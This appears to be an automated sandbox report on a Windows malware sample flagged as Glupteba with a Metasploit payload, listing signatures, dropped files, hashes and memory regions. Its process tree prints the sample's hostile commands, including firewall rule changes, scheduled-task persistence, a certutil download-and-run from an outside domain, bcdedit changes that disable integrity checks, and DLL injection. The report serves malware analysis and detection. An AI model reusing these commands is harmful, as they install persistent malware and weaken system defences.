Analysis

  • max time kernel
    0s
  • max time network
    125s
  • platform
    windows7_x64
  • resource
    win7-20231129-en
  • resource tags

    arch:x64arch:x86image:win7-20231129-enlocale:en-usos:windows7-x64system
  • submitted
    03/02/2024, 18:05

General

  • Target
    8cfe9013bd6aa32f62f33e6c1b8bf59c.exe
  • Size 4.4MB
  • Sample240203-wpcvlshegl
  • SHA256 d79975392fbcf4a0d5190519731140462375e8dad151c8fd4132ede13decb44b
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • metasploit

Version
  • windows/single_exec

Signatures

  • Glupteba

    Glupteba is a modular loader written in Golang with various components.

  • Glupteba payload 22 IoCs
  • MetaSploit

    Detected malicious payload which is part of the Metasploit Framework, likely generated with msfvenom or similar.

  • Modifies boot configuration data using bcdedit 14 IoCs
  • Modifies Windows Firewall 2 TTPs 1 IoCs
  • Possible attempt to disable PatchGuard 2 TTPs

    Rootkits can use kernel patching to embed themselves in an operating system.

  • Creates scheduled task(s) 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • GoLang User-Agent 3 IoCs

    Uses default user-agent string defined by GoLang HTTP packages.

Processes

  • C:\Users\Admin\AppData\Local\Temp\8cfe9013bd6aa32f62f33e6c1b8bf59c.exe
    "C:\Users\Admin\AppData\Local\Temp\8cfe9013bd6aa32f62f33e6c1b8bf59c.exe"
    1⤵
      PID:2216
      • C:\Users\Admin\AppData\Local\Temp\8cfe9013bd6aa32f62f33e6c1b8bf59c.exe
        "C:\Users\Admin\AppData\Local\Temp\8cfe9013bd6aa32f62f33e6c1b8bf59c.exe"
        2⤵
          PID:2720
          • C:\Windows\system32\cmd.exe
            C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
            3⤵
              PID:2468
              • C:\Windows\system32\netsh.exe
                netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
                4⤵
                • Modifies Windows Firewall
                PID:2620
            • C:\Windows\rss\csrss.exe
              C:\Windows\rss\csrss.exe ""
              3⤵
                PID:2440
                • C:\Windows\system32\schtasks.exe
                  schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
                  4⤵
                  • Creates scheduled task(s)
                  PID:944
                • C:\Windows\system32\schtasks.exe
                  schtasks /CREATE /SC ONLOGON /RL HIGHEST /RU SYSTEM /TR "cmd.exe /C certutil.exe -urlcache -split -f https://spolaect.info/app/app.exe C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe && C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe /31340" /TN ScheduledUpdate /F
                  4⤵
                  • Creates scheduled task(s)
                  PID:2316
                • C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe
                  "C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"
                  4⤵
                    PID:1180
                    • C:\Windows\system32\bcdedit.exe
                      C:\Windows\system32\bcdedit.exe -create {71A3C7FC-F751-4982-AEC1-E958357E6813} -d "Windows Fast Mode" -application OSLOADER
                      5⤵
                      • Modifies boot configuration data using bcdedit
                      PID:1436
                    • C:\Windows\system32\bcdedit.exe
                      C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} nointegritychecks 1
                      5⤵
                      • Modifies boot configuration data using bcdedit
                      PID:2944
                    • C:\Windows\system32\bcdedit.exe
                      C:\Windows\system32\bcdedit.exe -default {71A3C7FC-F751-4982-AEC1-E958357E6813}
                      5⤵
                      • Modifies boot configuration data using bcdedit
                      PID:488
                    • C:\Windows\system32\bcdedit.exe
                      C:\Windows\system32\bcdedit.exe -timeout 0
                      5⤵
                      • Modifies boot configuration data using bcdedit
                      PID:600
                    • C:\Windows\system32\bcdedit.exe
                      C:\Windows\system32\bcdedit.exe -displayorder {71A3C7FC-F751-4982-AEC1-E958357E6813} -addlast
                      5⤵
                      • Modifies boot configuration data using bcdedit
                      PID:1968
                    • C:\Windows\system32\bcdedit.exe
                      C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} inherit {bootloadersettings}
                      5⤵
                      • Modifies boot configuration data using bcdedit
                      PID:1624
                    • C:\Windows\system32\bcdedit.exe
                      C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} nx OptIn
                      5⤵
                      • Modifies boot configuration data using bcdedit
                      PID:1740
                    • C:\Windows\system32\bcdedit.exe
                      C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} recoveryenabled 0
                      5⤵
                      • Modifies boot configuration data using bcdedit
                      PID:2852
                    • C:\Windows\system32\bcdedit.exe
                      C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} kernel ntkrnlmp.exe
                      5⤵
                      • Modifies boot configuration data using bcdedit
                      PID:2856
                    • C:\Windows\system32\bcdedit.exe
                      C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} path \Windows\system32\osloader.exe
                      5⤵
                      • Modifies boot configuration data using bcdedit
                      PID:1984
                    • C:\Windows\system32\bcdedit.exe
                      C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} systemroot \Windows
                      5⤵
                      • Modifies boot configuration data using bcdedit
                      PID:1060
                    • C:\Windows\system32\bcdedit.exe
                      C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} osdevice partition=C:
                      5⤵
                      • Modifies boot configuration data using bcdedit
                      PID:1932
                    • C:\Windows\system32\bcdedit.exe
                      C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} device partition=C:
                      5⤵
                      • Modifies boot configuration data using bcdedit
                      PID:2688
                  • C:\Users\Admin\AppData\Local\Temp\csrss\dsefix.exe
                    C:\Users\Admin\AppData\Local\Temp\csrss\dsefix.exe
                    4⤵
                      PID:2428
                    • C:\Windows\system32\bcdedit.exe
                      C:\Windows\Sysnative\bcdedit.exe /v
                      4⤵
                      • Modifies boot configuration data using bcdedit
                      PID:616
                    • C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe
                      C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe taskmgr.exe C:\Users\Admin\AppData\Local\Temp\csrss\injector\NtQuerySystemInformationHook.dll
                      4⤵
                        PID:2504
                • C:\Windows\system32\makecab.exe
                  "C:\Windows\system32\makecab.exe" C:\Windows\Logs\CBS\CbsPersist_20240203180531.log C:\Windows\Logs\CBS\CbsPersist_20240203180531.cab
                  1⤵
                    PID:2576

                  Network

                        MITRE ATT&CK Enterprise v15

                        Replay Monitor

                        Loading Replay Monitor...

                        Downloads

                        download.error

                        • Path C:\Users\Admin\AppData\Local\Temp\Symbols\ntkrnlmp.pdb\AAF33CF37E194E98957768CF9C02DE8E2\download.error
                        • Size 233KB
                        • SHA256 e9bee0da77966055c2ba22c2f46b3edc74f0f6fea287a943c5d3915d752d82da
                        • MD5 SHA1 SHA512 SSDEEP

                        download.error

                        • Path C:\Users\Admin\AppData\Local\Temp\Symbols\winload_prod.pdb\768283CA443847FB8822F9DB1F36ECC51\download.error
                        • Size 390KB
                        • SHA256 a9d4a0ef228fbf4b78bc77aa36fa5f5f157ae6e49f5d6ae1757d14a50bd0ecd9
                        • MD5 SHA1 SHA512 SSDEEP

                        dsefix.exe

                        • Path C:\Users\Admin\AppData\Local\Temp\csrss\dsefix.exe
                        • Size 94KB
                        • SHA256 414035cc96d8bcc87ed173852a839ffbb45882a98c7a6f7b821e1668891deef0
                        • MD5 SHA1 SHA512 SSDEEP

                        injector.exe

                        • Path C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe
                        • Size 281KB
                        • SHA256 5de4e2b07a26102fe527606ce5da1d5a4b938967c9d380a3c5fe86e2e34aaaf1
                        • MD5 SHA1 SHA512 SSDEEP

                        patch.exe

                        • Path C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe
                        • Size 125KB
                        • SHA256 642e4b336f1b37a8adeeda42fc81d8bebd085a82f334f485c7680065f4504cff
                        • MD5 SHA1 SHA512 SSDEEP

                        ntkrnlmp.exe

                        • Path C:\Users\Admin\AppData\Local\Temp\ntkrnlmp.exe
                        • Size 56KB
                        • SHA256 23963da136a1e6e6ca176a6bfa3a418a979e4027548e384feae9e0df65fd337e
                        • MD5 SHA1 SHA512 SSDEEP

                        osloader.exe

                        • Path C:\Users\Admin\AppData\Local\Temp\osloader.exe
                        • Size 261KB
                        • SHA256 665fb2066b6f29d481ba6dca2c6fa36a55d397ff93873988c3041060556b764f
                        • MD5 SHA1 SHA512 SSDEEP

                        94308059B57B3142E455B38A6EB92015

                        • Path C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\94308059B57B3142E455B38A6EB92015
                        • Size 45KB
                        • SHA256 21a98ea45d4ca76fc03cd769b01345da379395b41295e1506644149d0a378883
                        • MD5 SHA1 SHA512 SSDEEP

                        F0ACCF77CDCBFF39F6191887F6D2D357

                        • Path C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\F0ACCF77CDCBFF39F6191887F6D2D357
                        • Size 1KB
                        • SHA256 df545bf919a2439c36983b54cdfc903dfa4f37d3996d8d84b4c31eec6f3c163e
                        • MD5 SHA1 SHA512

                        94308059B57B3142E455B38A6EB92015

                        • Path C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015
                        • Size 344B
                        • SHA256 499eeda601a5fcf26bbb8fad510c8120da4d5a634636f21d294740440c9876bb
                        • MD5 SHA1 SHA512

                        94308059B57B3142E455B38A6EB92015

                        • Path C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015
                        • Size 344B
                        • SHA256 b5d31d61b091321be15ae1716148cdacd2fb2d616bc6dfdeda583f599c15e1d8
                        • MD5 SHA1 SHA512

                        94308059B57B3142E455B38A6EB92015

                        • Path C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015
                        • Size 344B
                        • SHA256 06987f253479995e2312118ea4af81f6435d90074335768975501a2d07ca8190
                        • MD5 SHA1 SHA512

                        F0ACCF77CDCBFF39F6191887F6D2D357

                        • Path C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\F0ACCF77CDCBFF39F6191887F6D2D357
                        • Size 242B
                        • SHA256 76d924e73a68a1389c63670366b7ee35009d00af9aa6fe2d602d3dc50143f428
                        • MD5 SHA1 SHA512

                        Tar2B59.tmp

                        • Path C:\Windows\Temp\Tar2B59.tmp
                        • Size 23KB
                        • SHA256 06e96b9260570d03b574a4576554ba18baeb17f8e8c5f1d789bd0679c39980ae
                        • MD5 SHA1 SHA512 SSDEEP

                        csrss.exe

                        • Path C:\Windows\rss\csrss.exe
                        • Size 240KB
                        • SHA256 021ea6e096db896fa8944d6e5e1285ab4e9df048e7ea2c2113680fea33845cc3
                        • MD5 SHA1 SHA512 SSDEEP

                        csrss.exe

                        • Path C:\Windows\rss\csrss.exe
                        • Size 100KB
                        • SHA256 d573f77af8261ffaac004bceacecc7ebcb4cb19eec8dae4732538b40c9cae7c5
                        • MD5 SHA1 SHA512 SSDEEP

                        csrss.exe

                        • Path C:\Windows\rss\csrss.exe
                        • Size 45KB
                        • SHA256 2074679cbfeb9c825adab3be1283cc7afefa3dfcbe1a2229bb0c942d90f55d7e
                        • MD5 SHA1 SHA512 SSDEEP

                        patch.exe

                        • Path \Users\Admin\AppData\Local\Temp\csrss\patch.exe
                        • Size 185KB
                        • SHA256 efb9cf6370fee9c7f83ccc85c8ecb330f79622568f15825bdfbdc675accd99c7
                        • MD5 SHA1 SHA512 SSDEEP

                        dbghelp.dll

                        • Path \Users\Admin\AppData\Local\Temp\dbghelp.dll
                        • Size 69KB
                        • SHA256 7af6492a174405b116c4514202735a4af0ea5e161bfa03ede9cc676bf3422a6e
                        • MD5 SHA1 SHA512 SSDEEP

                        ntkrnlmp.exe

                        • Path \Users\Admin\AppData\Local\Temp\ntkrnlmp.exe
                        • Size 75KB
                        • SHA256 687e172779df5c9cfc5fceadc5d54474ce4f8ddf2acef7d79b9d9a7cdb540135
                        • MD5 SHA1 SHA512 SSDEEP

                        ntkrnlmp.exe

                        • Path \Users\Admin\AppData\Local\Temp\ntkrnlmp.exe
                        • Size 128KB
                        • SHA256 8997d17510f29d64ad712f7bf97f8cc525533ad2a73adf51871cc370b3a5c6b5
                        • MD5 SHA1 SHA512 SSDEEP

                        ntkrnlmp.exe

                        • Path \Users\Admin\AppData\Local\Temp\ntkrnlmp.exe
                        • Size 121KB
                        • SHA256 48db5cc4fdf418fd67a1150d4a1953474364333c5adf15427594da6373db35da
                        • MD5 SHA1 SHA512 SSDEEP

                        osloader.exe

                        • Path \Users\Admin\AppData\Local\Temp\osloader.exe
                        • Size 181KB
                        • SHA256 c377485c44b553bca2cb4ddb25fd281528b30366ad0b53b112af38bf53d1682e
                        • MD5 SHA1 SHA512 SSDEEP

                        osloader.exe

                        • Path \Users\Admin\AppData\Local\Temp\osloader.exe
                        • Size 295KB
                        • SHA256 22efdc599e1b5aba8ebdff1b136d1ec508e3c55c7520e85221f9d1b0ba1bb3bd
                        • MD5 SHA1 SHA512 SSDEEP

                        osloader.exe

                        • Path \Users\Admin\AppData\Local\Temp\osloader.exe
                        • Size 178KB
                        • SHA256 5a9d53a4c29dfce60fbb3f984d1c89a5a82a7e0533b9224776d395e11fccef7d
                        • MD5 SHA1 SHA512 SSDEEP

                        symsrv.dll

                        • Path \Users\Admin\AppData\Local\Temp\symsrv.dll
                        • Size 77KB
                        • SHA256 cd575552c84d091140f064adfef9a8e1280f3abbed8dac80af341cf2362777dc
                        • MD5 SHA1 SHA512 SSDEEP

                        csrss.exe

                        • Path \Windows\rss\csrss.exe
                        • Size 236KB
                        • SHA256 9445ca427e11d2b80554046cbbf92dae2a38944dbee9cd395faabeac2612afa5
                        • MD5 SHA1 SHA512 SSDEEP

                        csrss.exe

                        • Path \Windows\rss\csrss.exe
                        • Size 143KB
                        • SHA256 5a0e43c5e60945143762784be92b0fa09b0078d847ce542a95a341406e439aec
                        • MD5 SHA1 SHA512 SSDEEP

                        memory/1180-43-0x0000000140000000-0x00000001405E8000-memory.dmp

                        memory/1180-44-0x0000000140000000-0x00000001405E8000-memory.dmp

                        memory/2216-1-0x0000000004A10000-0x0000000004E4C000-memory.dmp

                        memory/2216-6-0x0000000004A10000-0x0000000004E4C000-memory.dmp

                        memory/2216-2-0x0000000000400000-0x0000000003096000-memory.dmp

                        memory/2216-3-0x0000000004E50000-0x0000000005776000-memory.dmp

                        memory/2216-0-0x0000000004A10000-0x0000000004E4C000-memory.dmp

                        memory/2216-4-0x0000000000400000-0x0000000003096000-memory.dmp

                        memory/2440-241-0x0000000004A90000-0x0000000004ECC000-memory.dmp

                        memory/2440-296-0x0000000000400000-0x0000000003096000-memory.dmp

                        memory/2440-360-0x0000000000400000-0x0000000003096000-memory.dmp

                        memory/2440-242-0x0000000000400000-0x0000000003096000-memory.dmp

                        memory/2440-243-0x0000000000400000-0x0000000003096000-memory.dmp

                        memory/2440-359-0x0000000000400000-0x0000000003096000-memory.dmp

                        memory/2440-358-0x0000000000400000-0x0000000003096000-memory.dmp

                        memory/2440-22-0x0000000004ED0000-0x00000000057F6000-memory.dmp

                        memory/2440-21-0x0000000004A90000-0x0000000004ECC000-memory.dmp

                        memory/2440-357-0x0000000000400000-0x0000000003096000-memory.dmp

                        memory/2440-356-0x0000000000400000-0x0000000003096000-memory.dmp

                        memory/2440-355-0x0000000000400000-0x0000000003096000-memory.dmp

                        memory/2440-18-0x0000000004A90000-0x0000000004ECC000-memory.dmp

                        memory/2440-240-0x0000000000400000-0x0000000003096000-memory.dmp

                        memory/2440-24-0x0000000000400000-0x0000000003096000-memory.dmp

                        memory/2440-326-0x0000000000400000-0x0000000003096000-memory.dmp

                        memory/2440-327-0x0000000000400000-0x0000000003096000-memory.dmp

                        memory/2440-328-0x0000000000400000-0x0000000003096000-memory.dmp

                        memory/2440-329-0x0000000000400000-0x0000000003096000-memory.dmp

                        memory/2440-330-0x0000000000400000-0x0000000003096000-memory.dmp

                        memory/2720-20-0x00000000049F0000-0x0000000004E2C000-memory.dmp

                        memory/2720-5-0x00000000049F0000-0x0000000004E2C000-memory.dmp

                        memory/2720-9-0x0000000000400000-0x0000000003096000-memory.dmp

                        memory/2720-8-0x0000000004E30000-0x0000000005756000-memory.dmp

                        memory/2720-7-0x00000000049F0000-0x0000000004E2C000-memory.dmp

                        memory/2720-19-0x0000000000400000-0x0000000003096000-memory.dmp